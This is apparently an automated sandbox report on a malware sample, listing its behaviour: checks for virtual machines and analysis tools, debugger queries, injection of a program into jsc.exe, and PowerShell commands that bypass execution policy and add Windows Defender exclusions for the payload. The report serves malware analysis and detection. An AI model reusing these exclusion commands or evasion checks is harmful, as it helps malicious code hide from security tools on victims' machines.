Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\jsc.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: 3SBlY301oa.exe PID: 7544, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF5B9000.00000004.00000800.00020000.00000000.sdmp, 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF5B9000.00000004.00000800.00020000.00000000.sdmp, 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory allocated: 1A9BD8F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory allocated: 1A9D7250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Memory allocated: 4BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe	Memory allocated: 2410000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\jsc.exe	Memory allocated: 2610000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\jsc.exe	Memory allocated: 2550000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\jsc.exe	Memory allocated: B00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\jsc.exe	Memory allocated: 26B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\jsc.exe	Memory allocated: 46B0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 2913	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Window / User API: threadDelayed 6881	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5866	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3857	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7634	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1946	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5921	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3878	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe TID: 1168	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep count: 7634 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep count: 1946 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 5921 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7332	Thread sleep count: 3878 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe TID: 2092	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\jsc.exe TID: 2184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\jsc.exe TID: 7996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\jsc.exe TID: 7984	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\jsc.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: jsc.exe, 00000003.00000002.3786253130.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: 3SBlY301oa.exe, 00000001.00000002.1537030307.000001A9BF28B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Memory allocated: page read and write | page guard

.NET source code references suspicious native API functions

HIPS / PFW / Operating System Protection Evasion

Source: 3SBlY301oa.exe, -------.cs	Reference to suspicious API methods: GetProcAddress(__0656_FDEE_061A, _06E3_0607_061D_065B)
Source: 3SBlY301oa.exe, -------.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (uint)_06D6.Length, 64u, out var _065E_060D_FBC2_FBC9_060B_06E9)
Source: 3SBlY301oa.exe, -------.cs	Reference to suspicious API methods: LoadLibrary(_FDE2_FDE4_06DF_06DC_FDEC(_061D_0602_0650_06D6._060A_0607_FDE4))

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\jsc.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\jsc.exe'	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 protect: page execute and read and write

Bypasses PowerShell execution policy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\3SBlY301oa.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 418000	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: 41A000	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe base: B59008	Jump to behavior

Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\3SBlY301oa.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'jsc.exe'	Jump to behavior
